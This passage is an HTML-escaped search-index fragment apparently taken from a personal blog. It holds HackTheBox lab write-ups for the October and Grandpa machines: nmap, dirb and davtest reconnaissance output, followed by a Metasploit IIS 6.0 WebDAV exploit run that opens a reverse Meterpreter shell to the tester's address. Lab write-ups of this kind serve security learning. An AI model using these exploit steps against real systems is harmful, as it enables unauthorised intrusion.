class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e04\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e24\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUTC\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escan\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eHost\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eup\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e54\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elatency\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePORT\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"k\"\u003eSTATE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSERVICE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eVERSION\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e22\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003essh\u003c/span\u003e\u003cspan class=\"w\"\u003e     \u003c/span\u003e\u003cspan class=\"n\"\u003eOpenSSH\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ep1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"n\"\u003eubuntu2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprotocol\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003essh\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ehostkey\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e1024\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e79\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e35\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb6\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ed1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e25\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e12\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ea3\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb5\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e36\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e26\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e28\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e2048\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e08\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e68\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e51\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ed1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e07\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e34\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e66\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ed0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e25\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e56\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ef5\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee3\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e97\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ea7\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e92\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e23\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e72\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ebf\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e09\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e88\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e85\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb6\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e17\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e85\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eECDSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"mi\"\u003e256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e89\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e85\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e90\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e98\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ebf\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e03\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e35\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ea9\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ee1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e65\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e31\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eED25519\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eApache\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttpd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003emethods\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003ePotentially\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erisky\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emethods\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePUT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePATCH\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eDELETE\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eserver\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eApache\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOctober\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCMS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVanilla\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCPE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003elinux\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003elinux_kernel\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eServer\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eApache\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRetrieved\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003epowered\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"k\"\u003eby\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePHP\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003eubuntu4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e21\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"port-80-weak-password\"\u003ePort 80: Weak Password\u003c/h2\u003e\n\u003cp\u003eA CMS called \u003ccode\u003eoctober\u003c/code\u003e. Searching with searchsploit turns up a few vulnerabilities, but exploiting them effectively requires confirming the version number. I went to GitHub to see where the version number lives in the source code — it\u0026rsquo;s in the \u003ccode\u003ecomposer.json\u003c/code\u003e file under the web root — but testing showed it\u0026rsquo;s not directly accessible from the outside, and neither \u003ccode\u003echangelog\u003c/code\u003e nor \u003ccode\u003ereadme\u003c/code\u003e contained version info, so I gave up on that. Later, after getting www-data access, I saw it was version \u003ccode\u003e1.0.412\u003c/code\u003e\u003c/p\u003e","title":"HackTheBox: October Notes (PWN)"},{"content":"\nInformation Gathering Nmap root@localhost:~/HTB/grandpa# nmap -p- -sV -sC 10.10.10.14 -oA scans/allport.tcp PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH |_http-server-header: Microsoft-IIS/6.0 I also recalled that in [this \u0026#34;different\u0026#34; kind of real-world penetration test case analysis article](https://paper.seebug.org/1144/), it mentioned that `webdav` seems to have an `xxe`. I tried it on the root directory, with no luck. | http-webdav-scan: | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH | WebDAV type: Unknown | Server Type: Microsoft-IIS/6.0 | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK |_ Server Date: Thu, 23 Apr 2020 13:11:29 GMT Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Directory Scanning root@localhost:~/HTB/grandpa# dirb http://10.10.10.14 -o scans/dirb.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.14/ ---- ==\u0026gt; DIRECTORY: http://10.10.10.14/_vti_bin/ + http://10.10.10.14/_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:195) + http://10.10.10.14/_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:195) + http://10.10.10.14/_vti_bin/shtml.dll (CODE:200|SIZE:96) ==\u0026gt; DIRECTORY: http://10.10.10.14/_vti_bin/_vti_aut I searched around and found this thing is called FrontPage Server Extensions; there is relatively little related material about it.\nhttp://10.10.10.14/_vti_bin/_vti_adm/fpadmdll.dll has a 401 authentication prompt. I tried weak credentials but failed.\nI also recalled that in this is a \u0026ldquo;different\u0026rdquo; kind of real penetration testing case analysis article, it mentioned that webdav seems to have an xxe. I tried it on the root directory, with no luck.\nI ran msf exploits for iis 6.0 + sharepoint + webdav, all without success, and scanned webdav for vulnerabilities with davtest — everything failed.\nroot@localhost:~/HTB# davtest -url http://10.10.10.14 ******************************************************** Testing DAV connection OPEN\tSUCCEED:\thttp://10.10.10.14 ******************************************************** NOTE\tRandom string for this session: dhNrel ******************************************************** Creating directory MKCOL\tFAIL ******************************************************** Sending test files PUT\taspx\tFAIL PUT\tjsp\tFAIL PUT\thtml\tFAIL PUT\tcfm\tFAIL PUT\tphp\tFAIL PUT\tpl\tFAIL PUT\tjhtml\tFAIL PUT\ttxt\tFAIL PUT\tshtml\tFAIL PUT\tasp\tFAIL PUT\tcgi\tFAIL ******************************************************** /usr/bin/davtest Summary: After a painful search and several fruitless attempts, I was ready to look at walkthroughs online — and it turned out one of the exploits I had already tried in msf directly gave RCE.\nI reset the target machine and successfully got the first shell.\nmsf5 \u0026gt; use windows/iis/iis_webdav_scstoragepathfromurl msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) \u0026gt; show options msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) \u0026gt; run [*] Started reverse TCP handler on 10.10.16.122:4444 [*] Trying path length 3 to 60 ... [*] Sending stage (180291 bytes) to 10.10.10.14 [*] Meterpreter session 1 opened (10.10.16.122:4444 -\u0026gt; 10.10.10.14:1031) at 2020-04-24 